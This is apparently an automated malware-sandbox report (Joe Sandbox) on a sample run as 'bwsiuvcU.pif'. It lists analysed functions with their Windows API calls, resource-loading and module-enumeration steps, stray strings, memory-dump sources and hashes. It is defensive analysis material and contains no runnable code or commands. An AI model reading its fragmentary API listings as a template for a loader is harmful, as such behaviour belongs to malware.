Instruction Fuzzy Hash: 9DE0B6B6644249AF9F40EEDCEC49D9B77ECAB58210B005401BA19DB201C630E9219FB0

Uniqueness

Uniqueness Score: -1.00%

Function 0298C430 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,029AA10B,00000000,029AA11E), ref: 0298C436
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0298C447

Strings

kernel32.dll, xrefs: 0298C431
GetDiskFreeSpaceExA, xrefs: 0298C441

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 6b2586d94c7fa4fe4abaf026c07a2ddbb0c97d73992a0875e72cbfd593a5a494
Instruction ID: 7252cf8f42e9c52b465cccb4a335f681fd0faaa562f5df947f791a70378b47ea
Opcode Fuzzy Hash: 6b2586d94c7fa4fe4abaf026c07a2ddbb0c97d73992a0875e72cbfd593a5a494
Instruction Fuzzy Hash: 2AD0A770A843454EFB04BABD5494B3923DC8B94709F0C882AF0265D140D77184908FF0

Uniqueness

Uniqueness Score: -1.00%

Function 0298E1A4 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0298E253
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0298E26F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0298E2E6
VariantClear.OLEAUT32(?), ref: 0298E30F

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 7cb8c1bab498950ba30a9cb853d1d1ccc0680e9c148af2a1900940e3ce7845a8
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 9241F975A002199FCB62FB68C890BD9B3BDAF89314F0841E5F548E7251DB34AF808F61

Uniqueness

Uniqueness Score: -1.00%

Function 0298ACF8 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0298AD15
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0298AD39
GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 0298AD54
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0298ADEA

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: c24d9622cebe5f07288467227882df49958cc68a3f814ce946b390ea1128fbc1
Instruction ID: c84996ce1ee7d7e78fe0793e27d31de4a77d6bd6b9fcbf77851d4fdd5c94b41b
Opcode Fuzzy Hash: c24d9622cebe5f07288467227882df49958cc68a3f814ce946b390ea1128fbc1
Instruction Fuzzy Hash: 4F41FA71A002589BDB21EB68CC84BDEB7FDAF48701F4844E6A548EB251EB759F848F50

Uniqueness

Uniqueness Score: -1.00%

Function 0298ACF6 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0298AD15
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0298AD39
GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 0298AD54
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0298ADEA

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: bba60a97461b6a824b69038c9399fa204d4f0105e64c2acc1038d799dbebe756
Instruction ID: 18d32ef98542ac811705d88557a9a7244fe4336d028e7e7a5b69ed9e13009f2a
Opcode Fuzzy Hash: bba60a97461b6a824b69038c9399fa204d4f0105e64c2acc1038d799dbebe756
Instruction Fuzzy Hash: 41411F71A0025C9BDB21EB68CC84BDAB7FDAF48701F4844E6A548EB251EB759F84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02981C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75a37c3d936d4cc9ea925468cace744a87d35da855c294c74fd00965e3be0dc7
Instruction ID: 5ca2e26d35e60fe40e9b5cb9cb61035a34a25a8ca6229840574b5b0cd12fa790
Opcode Fuzzy Hash: 75a37c3d936d4cc9ea925468cace744a87d35da855c294c74fd00965e3be0dc7
Instruction Fuzzy Hash: 6DA1B0A77106014BD718BA7C9D843BDB3CADBC4225F2C867EE21DCB391EB68C9538650

Uniqueness

Uniqueness Score: -1.00%

Function 029894A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02989596), ref: 0298952E
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02989596), ref: 02989534

Strings

yyyy, xrefs: 02989509

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 9bcb950bfdf450153fa18ef808eac29a47b1bb07a6eb53d769c0c30216686903
Instruction ID: 95c150e57f500644e7d42599372e32b2d030ebc15fb6e9adf9b54de33689d056
Opcode Fuzzy Hash: 9bcb950bfdf450153fa18ef808eac29a47b1bb07a6eb53d769c0c30216686903
Instruction Fuzzy Hash: 2B213071A012189BEB15EF68D841AFEB3F9EF88710F5900A5ED05E7740E7309E40CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02999F9C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000004,?,00000008), ref: 02999FD0
IsBadWritePtr.KERNEL32(?,00000004,?,00000004,?,00000004,?,00000008), ref: 0299A000
IsBadReadPtr.KERNEL32(?,00000008), ref: 0299A01F
IsBadReadPtr.KERNEL32(?,00000004,?,00000008), ref: 0299A02B

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 3ad3bb96e2a10f813d86af9a74392d0af8acae6b90b2c130b1f55d269701f8a3
Instruction ID: 8769c20d94a9e8501af8c16b303290da4522c3efd6e0b84545f1176eb64f68f4
Opcode Fuzzy Hash: 3ad3bb96e2a10f813d86af9a74392d0af8acae6b90b2c130b1f55d269701f8a3
Instruction Fuzzy Hash: 9B2196716402199BDF10DF6DCC80BAEB7ADFF8A365F048515EE149B340E734ED518AA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bwsiuvcU.pifPID: 6340, Parent PID: 8080COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	64.6%
Signature Coverage:	8.7%
Total number of Nodes:	492
Total number of Limit Nodes:	61

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
FindCloseChangeNotification.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

*, xrefs: 004020E1
W, xrefs: 00401B14
v, xrefs: 0040212C
D, xrefs: 00401DFB
{, xrefs: 0040211D
o, xrefs: 00402159
___, xrefs: 0040227D
8, xrefs: 00401BA9
h, xrefs: 00401A6F
., xrefs: 0040201F
4, xrefs: 00402074
:, xrefs: 00401B28
v, xrefs: 0040206A
E, xrefs: 00401E0F
%, xrefs: 004020FA
x, xrefs: 00401B78
4, xrefs: 00401B64
", xrefs: 00401B0F
[, xrefs: 00402047
5, xrefs: 00402109
., xrefs: 00401B0A
o, xrefs: 00401B8D
x, xrefs: 00401E69
_._, xrefs: 00402257
4, xrefs: 00402136
v, xrefs: 00401E4B
!, xrefs: 004020CF
x, xrefs: 0040214A
[, xrefs: 00401B37
6, xrefs: 004020C5
*, xrefs: 00401A1F
V, xrefs: 00402038
0, xrefs: 00401BBD
!, xrefs: 0040201A
W, xrefs: 00402033
x, xrefs: 00402088
), xrefs: 0040202E
U, xrefs: 004020F5
v, xrefs: 00401B5A
', xrefs: 00401AF6
W, xrefs: 004020E6
!, xrefs: 00401B1E
{, xrefs: 00401B4B
V, xrefs: 00401E19
', xrefs: 00402006
o, xrefs: 00402097
{, xrefs: 00401E3C
W, xrefs: 00401B23
{, xrefs: 0040205B

Memory Dump Source

Source File: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.1639938993.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.1639938993.000000000044B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2366190142-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 411BCD30 Relevance: 3.6, Strings: 1, Instructions: 2322COMMON

Download Yara Rule

Strings

A, xrefs: 411BF161

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: 0a99d7c2fd5e19dac75db49607163f83bfc8980338800e65d7a2e72f872b52c5
Instruction ID: b958c6b90e4f43689e826c8ac7feb75c6363f974c11b2ae3078297b823ff272b
Opcode Fuzzy Hash: 0a99d7c2fd5e19dac75db49607163f83bfc8980338800e65d7a2e72f872b52c5
Instruction Fuzzy Hash: 76332D31D10B198EDB15EF68C89069DF7B1FF89300F15C79AE459AB211EB70AAC5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 411B99A0 Relevance: 2.9, Instructions: 2853COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3523815acbdc18558b09d840270fc603cc882942d4d714519af67fb397e6fd2
Instruction ID: 98c9d8564855015693720b32815486302dbcbedfc361f7f52fd82baee073a677
Opcode Fuzzy Hash: d3523815acbdc18558b09d840270fc603cc882942d4d714519af67fb397e6fd2
Instruction Fuzzy Hash: 4263D431D10B5A8ADB11EF68C884699F7B1FF99300F55C79AE458B7121EB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 41D65168 Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1684983317.0000000041D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 41D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41d60000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d2342d02364e1717b86797c04fb58ec55100870af96599c62ea35775fe46df6
Instruction ID: 880f91e05ac8e94cf759b13c7d1b1c61044b7ed4ad7377a6f0a8c2b55feb9135
Opcode Fuzzy Hash: 9d2342d02364e1717b86797c04fb58ec55100870af96599c62ea35775fe46df6
Instruction Fuzzy Hash: 1AF14D70A0020ACFEB04CFA9C984B9DBBF5BF98354F158159E405AF2A5DB70ED85CB52

Uniqueness

Uniqueness Score: -1.00%

Function 411B1220 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\V^m, xrefs: 411B14D7

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: \V^m
API String ID: 0-3751104571
Opcode ID: 52563a366438cb8f597d3d0cc0ea47693a4969b65b97ea50e72adc03baa82b8f
Instruction ID: 5fb889c0e0a2afadc155da3a0f46221c40bafd445e8e4cdb8bb96ed0fc8bc50f
Opcode Fuzzy Hash: 52563a366438cb8f597d3d0cc0ea47693a4969b65b97ea50e72adc03baa82b8f
Instruction Fuzzy Hash: 4EB16D70E04209CFDB14CFA9E8817DEBBF2AF89354F168129D815E7298EB749841CB85

Uniqueness

Uniqueness Score: -1.00%

Function 411B0ED8 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\V^m, xrefs: 411B1123

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: \V^m
API String ID: 0-3751104571
Opcode ID: a0451eab4e7a7f1c5f37b601b51b8860fe452f460cd00a2058da79860850fac7
Instruction ID: 9e253630c5a38b3ffe92f57410f4141aa0fd8b0d751f641434aade4d7d33d487
Opcode Fuzzy Hash: a0451eab4e7a7f1c5f37b601b51b8860fe452f460cd00a2058da79860850fac7
Instruction Fuzzy Hash: E4919E70E00349DFDF14CFA9D8807DEBBF2AF88354F118129E814AB298DB749946CB95

Uniqueness

Uniqueness Score: -1.00%

Function 411B1AF0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e678203c130f30d244eea772716aa5a39356fdc2cd9b384e21fcd4dda72b92bd
Instruction ID: d5d116afe20448af681d7857fd25d00bc4a4ecb7bdaacc0db09274b4845d5c91
Opcode Fuzzy Hash: e678203c130f30d244eea772716aa5a39356fdc2cd9b384e21fcd4dda72b92bd
Instruction Fuzzy Hash: 1EB1AF70E00209CFDB14CFA9E8857DEBBF2BF88354F168529D415EB298EB749841CB85

Uniqueness

Uniqueness Score: -1.00%

Function 411B5968 Relevance: 21.8, Strings: 17, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HV@A, xrefs: 411B5CCE
dO@A, xrefs: 411B5E66
P@A, xrefs: 411B5DF4
$P@A, xrefs: 411B5E3C
H\@A, xrefs: 411B5B7E
dU@A, xrefs: 411B5CF8
d^@A, xrefs: 411B5B00
Z@A, xrefs: 411B5BD2
@d@A, xrefs: 411B59B0
XR@A, xrefs: 411B5DA0
$S@A, xrefs: 411B5D76
HM@A, xrefs: 411B5ECA
`J@A, xrefs: 411B5F86
`Y@A, xrefs: 411B5C26
La@A, xrefs: 411B5A58
W@A, xrefs: 411B5C7A
|I@A, xrefs: 411B5FB0

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: $P@A$$S@A$@d@A$HM@A$HV@A$H\@A$La@A$XR@A$`J@A$`Y@A$dO@A$dU@A$d^@A$|I@A$P@A$W@A$Z@A
API String ID: 0-362482816
Opcode ID: 9f9ccc973d84b76a13f17a056d2e84bf7c8bf0b409d05475a608c598511fcdee
Instruction ID: 5ff0144db31bb40648aa81ade472b1ea4b82de937586a64cb5e1e773a1a24c5d
Opcode Fuzzy Hash: 9f9ccc973d84b76a13f17a056d2e84bf7c8bf0b409d05475a608c598511fcdee
Instruction Fuzzy Hash: 88027134711210ABC75A273AE1D823D3AA7FBCA755B69043ED403CB781DE76CD469B06

Uniqueness

Uniqueness Score: -1.00%

Function 41A3659D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 41A3661E
GetCurrentThread.KERNEL32 ref: 41A3665B
GetCurrentProcess.KERNEL32 ref: 41A36698
GetCurrentThreadId.KERNEL32 ref: 41A366F1

Strings

pUA, xrefs: 41A366DC

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: Current$ProcessThread
String ID: pUA
API String ID: 2063062207-1592006644
Opcode ID: 1d266e6f2990683ab6ef58739dc337b1998ded65d90fb21d0c5c07aa3b4e435f
Instruction ID: 9cf6140ed89eeaa29f753b089fe5379c77eb4f1ecd13effe95e49cdfa58bea2c
Opcode Fuzzy Hash: 1d266e6f2990683ab6ef58739dc337b1998ded65d90fb21d0c5c07aa3b4e435f
Instruction Fuzzy Hash: 395186B09007098FEB54CFAAC948BDEBBF5EB88310F208459E419A72A0DB746945CB65

Uniqueness

Uniqueness Score: -1.00%

Function 41A365A0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 41A3661E
GetCurrentThread.KERNEL32 ref: 41A3665B
GetCurrentProcess.KERNEL32 ref: 41A36698
GetCurrentThreadId.KERNEL32 ref: 41A366F1

Strings

pUA, xrefs: 41A366DC

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: Current$ProcessThread
String ID: pUA
API String ID: 2063062207-1592006644
Opcode ID: 37d540be4ee2c164fed16c1f0ac67a3c2acbb839977b787b9d239dee94f763e7
Instruction ID: 0c01bc5a9c500e329c63785b54d00eb109c91e7c9a2a03cc8f9b650eec2bf5fe
Opcode Fuzzy Hash: 37d540be4ee2c164fed16c1f0ac67a3c2acbb839977b787b9d239dee94f763e7
Instruction Fuzzy Hash: FC5166B09007098FEB54CFAAD548BDEBBF1EB88310F248459E419A72A0DB346945CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 411B4F90 Relevance: 3.8, Strings: 3, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LRq, xrefs: 411B500D
,@@A, xrefs: 411B5092
,@@A, xrefs: 411B506A

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: ,@@A$,@@A$LRq
API String ID: 0-2996645422
Opcode ID: 68157d8cf09833af7ca0f6c0faeb1fb162b662ddb220e9179c188e9dab766916
Instruction ID: 4a7416bc43c76c9b28e42677bd0641ed2f5df94aa239105c46cc613c17732384
Opcode Fuzzy Hash: 68157d8cf09833af7ca0f6c0faeb1fb162b662ddb220e9179c188e9dab766916
Instruction Fuzzy Hash: D6318F70E11209DBEB55DFA9C48478EBBB1FF89340F118529E816FB250EBB19D428B85

Uniqueness

Uniqueness Score: -1.00%

Function 411B4FA0 Relevance: 3.8, Strings: 3, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LRq, xrefs: 411B500D
,@@A, xrefs: 411B5092
,@@A, xrefs: 411B506A

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: ,@@A$,@@A$LRq
API String ID: 0-2996645422
Opcode ID: 53cb6d577a136b444cdb76c4103a1682c57f79eb7197c2edd2c68ff285c21249
Instruction ID: 468b85f33c4984eaed66dff1d3266cafe24a4527428d2a6f482f5038347fff02
Opcode Fuzzy Hash: 53cb6d577a136b444cdb76c4103a1682c57f79eb7197c2edd2c68ff285c21249
Instruction Fuzzy Hash: 45319030E11209DBDB45CFA9C48078EB7B1FF89300F118529E806FB240EB719D41CB85

Uniqueness

Uniqueness Score: -1.00%

Function 411B607B Relevance: 3.8, Strings: 3, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lf@A, xrefs: 411B60D1
N@AU, xrefs: 411B6084
Lf@A, xrefs: 411B60F4

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: Lf@A$Lf@A$N@AU
API String ID: 0-380423495
Opcode ID: fa5d26fa4738606e99e5b7e6f616329148eff1655ab600558d794f474ee51c02
Instruction ID: df35f07523dfbce3d687515bb443064c239fd95b09cd9baa8e0e1e4ae1aef927
Opcode Fuzzy Hash: fa5d26fa4738606e99e5b7e6f616329148eff1655ab600558d794f474ee51c02
Instruction Fuzzy Hash: AB21E430A10304DFDB45EBB5E99129D7F72AF81304F1045F9C406DB286EE319E0AC782

Uniqueness

Uniqueness Score: -1.00%

